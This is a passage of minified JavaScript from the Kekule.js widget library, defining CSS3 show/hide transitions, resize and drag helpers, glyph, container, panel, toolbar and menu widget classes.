this.CHILD_RUNNER_CLASSES[t]);this.setChildRunners(e)}})},Kekule.Widget.Css3OpacityTrans=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3OpacityTrans",[Kekule.Widget.Css3OpacityTransRunner]),Kekule.Widget.Css3ClipPathSlideTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3ClipPathSlideTransition",[Kekule.Widget.Css3ClipPathSlideTransRunner]),Kekule.Widget.Css3SlideTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3SlideTransition",[Kekule.Widget.Css3SlideTransRunner]),Kekule.Widget.Css3GrowTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3GrowTransition",[Kekule.Widget.Css3GrowTransRunner]),Kekule.Widget.Css3ClipPathSlideOpacityTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3ClipPathSlideOpacityTransition",[Kekule.Widget.Css3ClipPathSlideTransRunner,Kekule.Widget.Css3OpacityTransRunner]),Kekule.Widget.Css3GrowOpacityTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3GrowOpacityTransition",[Kekule.Widget.Css3GrowTransRunner,Kekule.Widget.Css3OpacityTransRunner]),Kekule.Widget.Css3TransformGrowTransRunner&&(Kekule.Widget.Css3TransformGrowTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3TransformGrowTransition",[Kekule.Widget.Css3TransformGrowTransRunner]),Kekule.Widget.Css3TransformGrowOpacityTransition=Kekule.Widget.Css3Transition.createConcreteClass("Kekule.Widget.Css3TransformGrowOpacityTransition",[Kekule.Widget.Css3TransformGrowTransRunner,Kekule.Widget.Css3OpacityTransRunner])),Kekule.Widget.TransitionUtils={getCallerRefRect:function(e,t){var i,n=Kekule.HtmlElementUtils;return e?(i=n.getElemPageRect(e),Kekule.RectUtils.isZero(i)&&(i=(t||{}).callerPageRect||null)):i=null,i},getPreferredSlideDirection:function(e,t,i){var n=Kekule.Widget.Direction,s=Kekule.HtmlElementUtils,r=null,a=Kekule.Widget.TransitionUtils.getCallerRefRect(t,i);if(a){var o={x:a.x+a.width/2,y:a.y+a.height/2},l=s.getElemPagePos(e),u=s.getElemClientDimension(e),d={x:l.x+(u.width||0)/2,y:l.y+(u.height||0)/2},h=Kekule.CoordUtils.substract(d,o);if(a.width<1)r=h.x>=0?n.LTR:n.RTL;else if(h.x<1)r=h.y>=0?n.TTB:n.BTT;else{r=Math.abs(a.height/a.width)>Math.abs(h.y/h.x)?h.x>=0?n.LTR:n.RTL:h.y>=0?n.TTB:n.BTT}}else r=n.TTB;return r}}}(),function(){Kekule.StyleUtils;Kekule.Widget.ShowHideManager=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.ShowHideManager",initialize:function(){this.tryApplySuper("initialize"),this.setEnableTransition(!0),this.setShowDuration(250),this.setHideDuration(250)},initProperties:function(){this.defineProp("enableTransition",{dataType:DataType.BOOL}),this.defineProp("transitionSelector",{dataType:"Kekule.Widget.ShowHideTransitionSelector",serializable:!1}),this.defineProp("showDuration",{dataType:DataType.INT}),this.defineProp("hideDuration",{dataType:DataType.INT})},_getCallerElement:function(e){return e?e.getElement?e.getElement():Kekule.DomUtils.isElement(e)?e:null:null},isUsingTransition:function(){return this.getEnableTransition()&&this.getTransitionSelector()},selectTransition:function(e,t,i){var n=this.getTransitionSelector();if(!n)return null;var s=n.selectTransition(e,t,i);return s&&t&&s.setCaller(this._getCallerElement(t)),s},show:function(e,t,i,n,s){var r=Object.extend(s||{},{from:0,to:1,isAppear:!0,duration:this.getShowDuration()}),a=e.getStandaloneOnShowHide()?null:t,o=this.selectTransition(e,a,n);if(o&&this.isUsingTransition()&&o.canExecute(e.getElement(),r)){var l=this._getCallerElement(a);return o.execute(e.getElement(),l,function(t){e.setVisible(!0,!0),e.setDisplayed(!0,!0),i&&i()},r)}return e.setVisible(!0,!0),e.setDisplayed(!0,!0),i&&i(),null},hide:function(e,t,i,n,s,r){var a=Object.extend(r,{from:1,to:0,isDisappear:!0,duration:this.getHideDuration()}),o=(s=!!r.useVisible,e.getStandaloneOnShowHide()?null:t),l=this.selectTransition(e,o,n);if(l&&this.isUsingTransition()&&l.canExecute(e.getElement(),a)){return l.execute(e.getElement(),this._getCallerElement(o),function(){e&&(s?e.setVisible(!1,!0):e.setDisplayed(!1,!0)),i&&i()},a)}return s?e.setVisible(!1,!0):e.setDisplayed(!1,!0),i&&i(),null}}),Kekule.ClassUtils.makeSingleton(Kekule.Widget.ShowHideManager),Kekule.Widget.showHideManager=Kekule.Widget.ShowHideManager.getInstance(),Kekule.Widget.ShowHideTransitionSelector=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.ShowHideTransitionSelector",initialize:function(){this.tryApplySuper("initialize"),this.setTransitionClassMap({})},initProperties:function(){this.defineProp("transitionClassMap",{dataType:DataType.OBJECT,serializable:!1})},_getTransClassOfType:function(e){var t=this.getTransitionClassMap();return t[e]||t[Kekule.Widget.ShowHideType.DEFAULT]},addTransitionClass:function(e,t){this.getTransitionClassMap()[e]=t},selectTransition:function(e,t,i){var n;Kekule.Widget.ShowHideType;return(n=t?this._getTransClassOfType(i):this._getTransClassOfType(Kekule.Widget.ShowHideType.DEFAULT))?new n:null}});var e=new Kekule.Widget.ShowHideTransitionSelector,t=Kekule.Widget.ShowHideType;e.addTransitionClass(t.DEFAULT,Kekule.Widget.Css3OpacityTrans),e.addTransitionClass(t.DROPDOWN,Kekule.Widget.Css3ClipPathSlideOpacityTransition),e.addTransitionClass(t.POPUP,Kekule.Widget.Css3TransformGrowOpacityTransition||Kekule.Widget.Css3GrowOpacityTransition),e.addTransitionClass(t.DIALOG,Kekule.Widget.Css3TransformGrowOpacityTransition||Kekule.Widget.Css3GrowOpacityTransition),Kekule.Widget.showHideManager.setTransitionSelector(e)}(),function(){"use strict";Kekule.HtmlElementUtils;var e=Kekule.X.Event,t=Kekule.Widget.HtmlClassNames;Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{RESIZEGRIPPER:"K-Resize-Gripper"});var i=Class.PropertyScope;Kekule.Widget.ResizeGripper=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.ResizeGripper",BINDABLE_TAG_NAMES:["div","span"],initialize:function(e){if(this.reactMousemoveBind=this.reactMousemove.bind(this),this.reactMouseupBind=this.reactMouseup.bind(this),this.reactTouchmoveBind=this.reactTouchmove.bind(this),this.reactTouchendBind=this.reactTouchend.bind(this),this.tryApplySuper("initialize",[e]),!this.getTarget())if(this.getParent())this.setTarget(this.getParent());else{var t=this.getElement().parentNode;t&&this.setTarget(t)}},initProperties:function(){this.defineProp("target",{dataType:DataType.OBJECT,serializable:!1,setter:function(e){this.getTarget()!==e&&(this.setPropStoreFieldValue("target",e),this.targetChanged(e))}}),this.defineProp("retainAspectRatio",{dataType:DataType.BOOL}),this.defineProp("isUnderResizing",{dataType:DataType.BOOL,serializable:!1,setter:null,scope:i.PRIVATE}),this.defineProp("baseCoord",{dataType:DataType.HASH,serializable:!1,scope:i.PRIVATE}),this.defineProp("baseDimension",{dataType:DataType.HASH,serializable:!1,scope:i.PRIVATE}),this.defineProp("baseAspectRatio",{dataType:DataType.FLOAT,serializable:!1,scope:i.PRIVATE})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.RESIZEGRIPPER},doCreateRootElement:function(e){return e.createElement("span")},targetChanged:function(e){var t;(t=this.targetIsWidget(e)?e.getResizerElement?e.getResizerElement():e.getChildrenHolderElement():e)&&this.appendToElem(t)},targetIsWidget:function(e){return e instanceof Kekule.Widget.BaseWidget},getTargetDimension:function(e){var t=e||this.getTarget();return this.targetIsWidget(t)?t.getDimension():Kekule.HtmlElementUtils.getElemPageRect(t,!0)},setTargetDimension:function(e,t,i){var n=e||this.getTarget();if(this.targetIsWidget(n))n.setDimension(t,i);else{var s=n.style;s.width=t+"px",s.height=i+"px"}},prepareResizing:function(e,t){if(!this.getIsUnderResizing()){var i=this._getMoveEventReceiverElem(this.getElement());this._installEventHandlers(i),this._setMouseCapture(this.getElement(),!0,t),this.setBaseCoord(e);var n=this.getTargetDimension();this.setBaseDimension(n),this.setBaseAspectRatio(n.width/n.height),this.setPropStoreFieldValue("isUnderResizing",!0)}},doneResizing:function(e){this._setMouseCapture(this.getElement(),!1,e);var t=this._getMoveEventReceiverElem(this.getElement());this._uninstallEventHandlers(t),this.setBaseCoord(null),this.setBaseDimension(null),this.setPropStoreFieldValue("isUnderResizing",!1)},resizeTo:function(e){var t=Kekule.CoordUtils.substract(e,this.getBaseCoord()),i=this.getBaseDimension(),n=i.width+t.x,s=i.height+t.y;if(this.getRetainAspectRatio()){var r=this.getBaseAspectRatio();n/s>r?n=r*s:n/s<r&&(s=n/r)}this.setTargetDimension(this.getTarget(),n,s)},reactMousemove:function(e){if(this.getIsUnderResizing()){var t={x:e.getScreenX(),y:e.getScreenY()};this.resizeTo(t),e.stopPropagation(),e.preventDefault()}},reactMouseup:function(e){e.getButton()===Kekule.X.Event.MouseButton.LEFT&&this.getIsUnderResizing()&&(this.doneResizing(e),e.preventDefault())},reactTouchmove:function(e){if(this.getIsUnderResizing()){var t={x:e.getScreenX(),y:e.getScreenY()};this.resizeTo(t),e.stopPropagation(),e.preventDefault()}},reactTouchend:function(e){this.getIsUnderResizing()&&(this.doneResizing(e),e.preventDefault())},_elemSupportCapture:function(e){return!!e.setCapture},_setMouseCapture:function(e,t,i){e&&(t?(e.setCapture&&e.setCapture(!0),e.setPointerCapture&&Kekule.ObjUtils.notUnset(i.pointerId)&&e.setPointerCapture(i.pointerId)):(e.releaseCapture&&e.releaseCapture(),e.releasePointerCapture&&Kekule.ObjUtils.notUnset(i.pointerId)&&e.releasePointerCapture(i.pointerId)))},_getMoveEventReceiverElem:function(e){return this._elemSupportCapture(e)?e:e.ownerDocument.documentElement},_installEventHandlers:function(t){e.addListener(t,"mousemove",this.reactMousemoveBind),e.addListener(t,"touchmove",this.reactTouchmoveBind),e.addListener(t,"mouseup",this.reactMouseupBind),e.addListener(t,"touchend",this.reactTouchendBind)},_uninstallEventHandlers:function(t){e.removeListener(t,"mousemove",this.reactMousemoveBind),e.removeListener(t,"touchmove",this.reactTouchmoveBind),e.removeListener(t,"mouseup",this.reactMouseupBind),e.removeListener(t,"touchend",this.reactTouchendBind)},doReactActiviting:function(e){this.tryApplySuper("doReactActiviting",[e]);var t={x:e.getScreenX(),y:e.getScreenY()};this.prepareResizing(t,e)}}),ClassEx.extend(Kekule.Widget.BaseWidget,{resizableChanged:function(){var e;this.getResizable()?((e=new Kekule.Widget.ResizeGripper(this)).setRetainAspectRatio(this.getResizeWithAspectRatio()),this.setPropStoreFieldValue("resizeGripper",e)):((e=this.getResizeGripper())&&e.finalize(),this.setPropStoreFieldValue("resizeGripper",null))}}),ClassEx.defineProps(Kekule.Widget.BaseWidget,[{name:"resizable",dataType:DataType.BOOL,setter:function(e){e!==this.getResizable()&&(this.setPropStoreFieldValue("resizable",e),this.resizableChanged())}},{name:"resizeWithAspectRatio",dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("resizeWithAspectRatio",e),this.getResizeGripper()&&this.getResizeGripper().setRetainAspectRatio(e)}},{name:"isResizing",dataType:DataType.BOOL,serializable:!1,scope:i.PRIVATE,setter:null,getter:function(){var e=this.getResizeGripper();return!!e&&e.getIsUnderResizing()}},{name:"resizeGripper",dataType:"Kekule.Widget.ResizeGripper",serializable:!1,setter:null,scope:i.PRIVATE}])}(),function(){"use strict";var e=Kekule.HtmlElementUtils,t=Kekule.StyleUtils,i=Kekule.X.Event,n=Class.PropertyScope;Kekule.Widget.MoveHelper=Class.create(ObjectEx,{CLASS_NAME:"Kekule.Widget.MoveHelper",initialize:function(e,t){this.tryApplySuper("initialize"),this.reactMouseDownBind=this.reactMouseDown.bind(this),this.reactMouseUpBind=this.reactMouseUp.bind(this),this.reactMouseMoveBind=this.reactMouseMove.bind(this),this.reactTouchDownBind=this.reactTouchDown.bind(this),this.reactTouchEndBind=this.reactTouchEnd.bind(this),this.reactTouchMoveBind=this.reactTouchMove.bind(this),this.__$K_initialMoverInfo__={},this.setCssPropX("left").setCssPropY("top").setMovingCursor("move").setMovingCursorDelay(500),this.setTarget(e),this.setGripper(t),this.setEnabled(!0)},doFinalize:function(){this.setGripper(null),this.tryApplySuper("doFinalize")},initProperties:function(){this.defineProp("enabled",{dataType:DataType.BOOL}),this.defineProp("target",{dataType:DataType.OBJECT,serializable:!1}),this.defineProp("gripper",{dataType:DataType.OBJECT,serializable:!1,getter:function(){return this.getPropStoreFieldValue("gripper")||this.getTarget()},setter:function(e){var t=this.getPropStoreFieldValue("gripper");e!==t&&(this.setPropStoreFieldValue("gripper",e),this.gripperChanged(e,t))}}),this.defineProp("isMoving",{dataType:DataType.BOOL,serializable:!1}),this.defineProp("cssPropX",{dataType:DataType.STRING}),this.defineProp("cssPropY",{dataType:DataType.STRING}),this.defineProp("movingCursor",{dataType:DataType.STRING}),this.defineProp("movingCursorDelay",{dataType:DataType.INT}),this.defineProp("movable",{dataType:DataType.BOOL,setter:null,getter:function(){return this.getEnabled()&&this.getGripper()}})},_objIsWidget:function(e){return e instanceof Kekule.Widget.BaseWidget},_getElement:function(e){return this._objIsWidget(e)?e.getElement():e},getTargetElement:function(){var e=this.getTarget();return this._objIsWidget(e)?e.getElement():e},getGripperElement:function(){var e=this.getGripper();return this._objIsWidget(e)?e.getElement():e},gripperChanged:function(e,t){t&&this.installEventHandlers(this._getElement(t)),e&&this.installEventHandlers(this._getElement(e))},installEventHandlers:function(e){e&&(i.addListener(e,"mousedown",this.reactMouseDownBind),i.addListener(e,"touchstart",this.reactTouchDownBind))},uninstallEventHandlers:function(e){e&&(i.removeListener(e,"mousedown",this.reactMouseDownBind),i.removeListener(e,"touchstart",this.reactTouchDownBind))},_elemSupportCapture:function(e){return!!e.setCapture},_getMoveEventReceiverElem:function(e){return this._elemSupportCapture(e)?e:e.ownerDocument.documentElement},setMouseCapture:function(e){var t=this.getGripperElement();t&&(e?t.setCapture&&t.setCapture(!0):t.releaseCapture&&t.releaseCapture())},beginMoving:function(t){if(!this.getIsMoving()){var n=this.getTargetElement();e.makePositioned(n),this.saveInitialInformation(t);var s=this._getMoveEventReceiverElem(this.getGripperElement());i.addListener(s,"mousemove",this.reactMouseMoveBind),i.addListener(s,"touchmove",this.reactTouchMoveBind),i.addListener(s,"mouseup",this.reactMouseUpBind),i.addListener(s,"touchend",this.reactTouchEndBind),this.setMouseCapture(!0),this._setCursorHandle=this.delaySetMoveCursor(),this.setIsMoving(!0)}},endMoving:function(){this.setIsMoving(!1),this.setMouseCapture(!1);var e=this.getGripperElement(),t=this._getMoveEventReceiverElem(e);if(i.removeListener(t,"mousemove",this.reactMouseMoveBind),i.removeListener(t,"touchmove",this.reactTouchMoveBind),i.removeListener(t,"mouseup",this.reactMouseUpBind),i.removeListener(t,"touchend",this.reactTouchEndBind),this.clearCursorSetter(),e){var n=this.__$K_initialMoverInfo__.cursor;e.style.cursor=n||"",this.__$K_initialMoverInfo__.cursor=null}},moveTo:function(e){this.clearCursorSetter(),this.doSetMoveCursor();var t=this.getTargetElement();if(t){var i=this.__$K_initialMoverInfo__,n=Kekule.CoordUtils.substract(e,i.pointerCoord);"right"===(this.getCssPropX()||"").toLowerCase()?t.style.right=i.elemCoord.x-n.x+"px":t.style.left=i.elemCoord.x+n.x+"px","bottom"===(this.getCssPropY()||"").toLowerCase()?t.style.bottom=i.elemCoord.y-n.y+"px":t.style.top=i.elemCoord.y+n.y+"px"}},delaySetMoveCursor:function(){return setTimeout(this.doSetMoveCursor.bind(this),this.getMovingCursorDelay()||0)},doSetMoveCursor:function(){var e=this.getGripperElement();e&&this.getMovingCursor()&&(e.style.cursor=this.getMovingCursor())},clearCursorSetter:function(){this._setCursorHandle&&clearTimeout(this._setCursorHandle)},saveInitialInformation:function(i){var n=this.getTargetElement();if(n){var s;this.__$K_initialMoverInfo__.pointerCoord=i;var r=(t.getComputedStyle(n,"position")||"").toLowerCase(),a=(this.getCssPropX()||"left").toLowerCase(),o=(this.getCssPropY()||"top").toLowerCase();if("relative"===r)s={x:t.analysisUnitsValue(t.getComputedStyle(n,"left")).value||0,y:t.analysisUnitsValue(t.getComputedStyle(n,"top")).value||0},a="left",o="top";else s={x:n.offsetLeft,y:n.offsetTop};var l=e.getElemOffsetDimension(n);"right"===a&&(s.x+=l.width),"bottom"===o&&(s.y+=l.height),this.__$K_initialMoverInfo__.elemCoord=s,this.getGripperElement()&&(this.__$K_initialMoverInfo__.cursor=this.getGripperElement().style.cursor)}},reactMouseDown:function(e){this.getTargetElement()&&this.getEnabled()&&e.getButton()===i.MouseButton.LEFT&&(this.beginMoving({x:e.getScreenX(),y:e.getScreenY()},e.getTarget()),e.preventDefault())},reactMouseUp:function(e){e.getButton()===i.MouseButton.LEFT&&this.getIsMoving()&&(this.endMoving(),e.preventDefault())},reactMouseMove:function(e){if(this.getIsMoving()){var t={x:e.getScreenX(),y:e.getScreenY()};this.moveTo(t),e.preventDefault()}},reactTouchDown:function(e){this.getEnabled()&&(this.beginMoving({x:e.getScreenX(),y:e.getScreenY()},e.getTarget()),e.preventDefault())},reactTouchEnd:function(e){this.getIsMoving()&&(this.endMoving(),e.preventDefault())},reactTouchMove:function(e){if(this.getIsMoving()){var t={x:e.getScreenX(),y:e.getScreenY()};this.moveTo(t),e.preventDefault()}}}),ClassEx.extend(Kekule.Widget.BaseWidget,{_getMoveHelper:function(e){var t=this.getMoveHelper();return!t&&e&&(t=new Kekule.Widget.MoveHelper(this)),t},movingGripperChanged:function(){var e,t=this.getMovingGripper();t?(e=this._getMoveHelper(!0)).setGripper(t):(e=this._getMoveHelper(!1))&&e.setGripper(null)}}),ClassEx.defineProps(Kekule.Widget.BaseWidget,[{name:"movable",dataType:DataType.BOOL,getter:function(){return this._getMoveHelper()&&this._getMoveHelper().getMovable()},setter:function(e){if(e!==this.getMovable())if(e)this.setMovingGripper(this.getDefaultMovingGripper&&this.getDefaultMovingGripper()||this);else{var t=this._getMoveHelper();t&&t.setEnabled(!1)}}},{name:"movingGripper",dataType:DataType.OBJECT,setter:function(e){e!==this.getMovingGripper()&&(this.setPropStoreFieldValue("movingGripper",e),this.movingGripperChanged())}},{name:"isMoving",dataType:DataType.BOOL,serializable:!1,scope:n.PRIVATE,setter:null,getter:function(){var e=this.getMoveHelper();return!!e&&e.getIsMoving()}},{name:"moveHelper",dataType:"Kekule.Widget.MoveHelper",serializable:!1,setter:null,scope:n.PRIVATE}])}(),function(){var e=Kekule.HtmlElementUtils,t=Kekule.Widget.HtmlClassNames;Kekule.Widget.Glyph=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.Glyph",initialize:function(e,t){this._imgElem=null,this.tryApplySuper("initialize",[e]),t&&this.setNormalInfo(t)},initProperties:function(){this.defineImgInfoProp("normalInfo",{dataType:DataType.HASH}),this.defineImgInfoProp("hoverInfo",{dataType:DataType.HASH}),this.defineImgInfoProp("focusedInfo",{dataType:DataType.HASH}),this.defineImgInfoProp("activeInfo",{dataType:DataType.HASH}),this.defineImgInfoProp("disabledInfo",{dataType:DataType.HASH})},defineImgInfoProp:function(e,t){var i=Object.extend({setter:function(t){t?this.setPropStoreFieldValue(e,Object.extend({},t)):this.setPropStoreFieldValue(e,null),this.imgInfoChanged()}},t);return this.defineProp(e,i)},doGetWidgetClassName:function(){return"K-Glyph"},doCreateRootElement:function(e){return e.createElement("span")},doBindElement:function(e){this.tryApplySuper("doBindElement"),this.createImgContainer(e)},createImgContainer:function(e,i){var n=e.ownerDocument;this._imgElem=n.createElement("span"),this._imgElem.className=t.FULLFILL,e.innerHTML="",e.appendChild(this._imgElem)},imgInfoChanged:function(){this.updateImg()},stateChanged:function(){this.tryApplySuper("stateChanged"),this.updateImg()},updateImg:function(){var e=Kekule.Widget.State,t=this.getState(),i=t===e.DISABLED?this.getDisabledInfo():t===e.ACTIVE?this.getActiveInfo()||this.getHoverInfo()||this.getFocusedInfo():t===e.HOVER?this.getHoverInfo():t===e.FOCUSED?this.getFocusedInfo():this.getNormalInfo();i=i||this.getNormalInfo(),this.showImgOfInfo(i)},showImgOfInfo:function(i){var n=this._imgElem;n&&(i?(i.className?(n.className=t.FULLFILL,e.addClass(n,i.className)):n.className=t.FULLFILL,n.style.backgroundImage=i.src?"url("+i.src+")":"",n.style.backgroundPosition=i.position||"",n.style.backgroundRepeat=i.repeat||"no-repeat"):n.style.backgroundImage="")}})}(),function(){Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{CONTAINER:"K-Container",PANEL:"K-Panel",PANEL_CAPTION:"K-Panel-Caption",TOOLBAR:"K-Toolbar"});var e=Kekule.DomUtils,t=(Kekule.HtmlElementUtils,Kekule.Widget.HtmlClassNames),i=Kekule.StyleUtils;Kekule.Widget.Container=Class.create(Kekule.Widget.BaseWidget,{CLASS_NAME:"Kekule.Widget.Container",initialize:function(e){this._defContainerElem=null,this.tryApplySuper("initialize",[e]),this.reactShowStateChangeBind=this.reactShowStateChange.bind(this),this.addEventListener("showStateChange",this.reactShowStateChangeBind)},finalize:function(){this.removeEventListener("showStateChange",this.reactShowStateChangeBind),this.clearWidgets(),this.tryApplySuper("finalize")},initProperties:function(){this.defineChildDimensionRelatedProp("childWidth"),this.defineChildDimensionRelatedProp("childHeight"),this.defineChildDimensionRelatedProp("childMargin"),this.defineProp("firstChild",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC}),this.defineProp("lastChild",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC}),this.defineProp("allowChildWrap",{dataType:DataType.BOOL,serializable:!1,setter:function(e){this.setPropStoreFieldValue("allowChildWrap",e),e?this.removeClassName(t.NOWRAP):this.addClassName(t.NOWRAP)}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setAllowChildWrap(!0)},defineChildDimensionRelatedProp:function(e,t){var i=Object.extend({dataType:DataType.STRING,setter:function(t){this.setPropStoreFieldValue(e,t),this.updateChildSizes()}},t||{});return this.defineProp(e,i)},doGetWidgetClassName:function(){return t.CONTAINER},doCreateRootElement:function(e){return e.createElement("span")},doCreateContainerElement:function(e,i,n){var s=Kekule.BrowserFeature.htmlSlot?Kekule.Widget.HtmlTagNames.CHILD_HOLDER:n||"span",r=e.createElement(s);return r.className=t.CHILD_HOLDER,r},getContainerElement:function(){return this.getElement()},getChildrenHolderElement:function(){return this.getContainerElement()},appendWidget:function(e){return e.setParent(this),this},insertWidgetBefore:function(e,t){return e.insertToWidget(this,t),this},removeWidget:function(e,t){e.setParent(null),t||e.finalize()},clearWidgets:function(e){for(var t=this.getChildWidgets(),i=t.length-1;i>=0;--i){var n=t[i];this.removeWidget(n,e)}},_insertChildWidget:function(e,t){var i=t?t.getElement():null,n=this.getChildrenHolderElement();n&&(i?n.insertBefore(e.getElement(),i):n.appendChild(e.getElement()))},reactShowStateChange:function(e){this.childrenModified()},childrenModified:function(){this.tryApplySuper("childrenModified");for(var e=this.getChildWidgets(),i=e.length,n=e[r=0];n&&!n.isShown(!0)&&r<i;)n=e[++r];var s=r<i?n:null,r=i-1;for(n=e[i-1];n&&!n.isShown(!0)&&r>=0;)n=e[--r];var a=r>=0?n:null,o=this.getFirstChild(),l=this.getLastChild();s!==o&&(o&&o.removeClassName(t.FIRST_CHILD),s&&s.addClassName(t.FIRST_CHILD),this.setPropStoreFieldValue("firstChild",s)),a!==l&&(l&&l.removeClassName(t.LAST_CHILD),a&&a.addClassName(t.LAST_CHILD),this.setPropStoreFieldValue("lastChild",a))},childWidgetAdded:function(e){this.tryApplySuper("childWidgetAdded",[e]);var t=this.getChildWidth();t&&e.setWidth(t);var i=this.getChildHeight();i&&e.setHeight(i);var n=this.getChildMargin();n&&(e.getStyle().margin=n),this._insertChildWidget(e,null)},childWidgetRemoved:function(e){this.tryApplySuper("childWidgetRemoved",[e])},childWidgetMoved:function(e,t){this.tryApplySuper("childWidgetMoved",[e,t]);var i=e.getElement(),n=this.getChildWidgets()[t+1],s=n?n.getElement():null;s?this.getContainerElement().insertBefore(i,s):this.getContainerElement().appendChild(i)},updateChildSizes:function(){for(var e=this.getChildWidgets(),t=this.getChildWidth()||"",i=this.getChildHeight()||"",n=this.getChildMargin()||"",s=(this.getLayout(),0),r=e.length;s<r;++s){var a=e[s];a.setWidth(t),a.setHeight(i),a.getStyle().margin=n}}}),Kekule.Widget.Panel=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.Panel",initProperties:function(){this.defineProp("caption",{dataType:DataType.STRING,getter:function(){return this.getCaptionElem(!1)&&e.getElementText(this.getCaptionElem())},setter:function(t){e.setElementText(this.getCaptionElem(!0),t),i.setDisplay(this.getCaptionElem(),!!t)}}),this.defineProp("captionElem",{dataType:DataType.OBJECT,serializable:!1,setter:null,getter:function(i){var n=this.getPropStoreFieldValue("captionElem");if(!n&&i){(n=this.getDocument().createElement("div")).className=t.PANEL_CAPTION;var s=this.getElement();s.insertBefore(n,e.getFirstChildElem(s)),this.setPropStoreFieldValue("captionElem",n)}return n}})},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setUseCornerDecoration(!0)},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.PANEL}}),Kekule.Widget.WidgetGroup=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.WidgetGroup",initialize:function(e){this.tryApplySuper("initialize",[e])},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setUseCornerDecoration(!0)},doObjectChange:function(e){this.tryApplySuper("doObjectChange",[e]),e.indexOf("useCornerDecoration")>=0&&this._updateChildStyles()},childWidgetAdded:function(e){e.setUseCornerDecoration&&e.setUseCornerDecoration(!1),this.tryApplySuper("childWidgetAdded",[e])},layoutChanged:function(){this.tryApplySuper("layoutChanged"),this._updateChildStyles()},childrenModified:function(){this.tryApplySuper("childrenModified"),this._updateChildStyles()},_updateChildStyles:function(){Kekule.Widget.Layout,this.getLayout();for(var e=this.getFirstChild(),i=this.getLastChild(),n=this.getUseCornerDecoration(),s=this.getChildWidgets(),r=[t.CORNER_LEADING,t.CORNER_TAILING],a=0,o=s.length;a<o;++a){var l=s[a];l.removeClassName(r),l===e&&n&&l.addClassName(t.CORNER_LEADING),l===i&&n&&l.addClassName(t.CORNER_TAILING)}}}),Kekule.Widget.Toolbar=Class.create(Kekule.Widget.WidgetGroup,{CLASS_NAME:"Kekule.Widget.Toolbar",finalize:function(){var e=this.getChildWidgetInternalNameMap();e&&e.finalize(),this.tryApplySuper("finalize")},initProperties:function(){this.defineProp("childDefs",{dataType:DataType.ARRAY,setter:function(e){this.setPropStoreFieldValue("childDefs",e),this.recreateChildrenByDefs()}}),this.defineProp("childWidgetInternalNameMap",{dataType:DataType.OBJECT,serializable:!1})},doGetWidgetClassName:function(){return this.tryApplySuper("doGetWidgetClassName")+" "+t.TOOLBAR},doSetShowText:function(e){this.tryApplySuper("doSetShowText",[e]),this._updateAllChildTextGlyphStyles()},doSetShowGlyph:function(e){this.tryApplySuper("doSetShowGlyph",[e]),this._updateAllChildTextGlyphStyles()},childWidgetAdded:function(e){this.tryApplySuper("childWidgetAdded",[e]),this._updateChildTextGlyphStyles(e)},_updateChildTextGlyphStyles:function(e){e.setShowText&&e.setShowText(this.getShowText()),e.setShowGlyph&&e.setShowGlyph(this.getShowGlyph())},_updateAllChildTextGlyphStyles:function(){for(var e=this.getChildWidgets(),t=e.length-1;t>=0;--t)this._updateChildTextGlyphStyles(e[t])},recreateChildrenByDefs:function(){var e=this.getChildDefs()||[];this.clearWidgets();var t=new Kekule.MapEx(!0);this.setChildWidgetInternalNameMap(t);for(var i=this.getDefaultChildWidgetClassName(),n=0,s=e.length;n<s;++n){var r=e[n];r.widget||r.widgetClass||!i||(r=Object.extend({widget:i},r));var a=Kekule.Widget.createFromHash(this,r);a&&(a.appendToWidget(this),r.internalName&&t.set(r.internalName,a))}},getDefaultChildWidgetClassName:function(){return null},getChildWidgetByInternalName:function(e){var t=this.getChildWidgetInternalNameMap();return t?t.get(e):null}})}(),function(){"use strict";var e=Kekule.DomUtils,t=(Kekule.HtmlElementUtils,Kekule.Widget.HtmlClassNames);Kekule.Widget.HtmlClassNames=Object.extend(Kekule.Widget.HtmlClassNames,{MENU:"K-Menu",POPUPMENU:"K-PopupMenu",MENUBAR:"K-MenuBar",MENUITEM:"K-MenuItem",MENUITEM_NORMAL:"K-MenuItem-Normal",MENUITEM_SEPARATOR:"K-MenuItem-Separator",SUBMENU_MARKER:"K-SubMenu-Marker",CHECKMENU_MARKER:"K-CheckMenu-Marker"}),Kekule.Widget.MenuItem=Class.create(Kekule.Widget.Container,{CLASS_NAME:"Kekule.Widget.MenuItem",BINDABLE_TAG_NAMES:["li"],SUB_MENU_TAGS:["ol","ul"],initialize:function(e,t){this.tryApplySuper("initialize",[e]),t&&this.setText(t),this._subMenuMarker=null,this._checkMarker=null},initProperties:function(){this.defineProp("text",{dataType:DataType.STRING,getter:function(){return 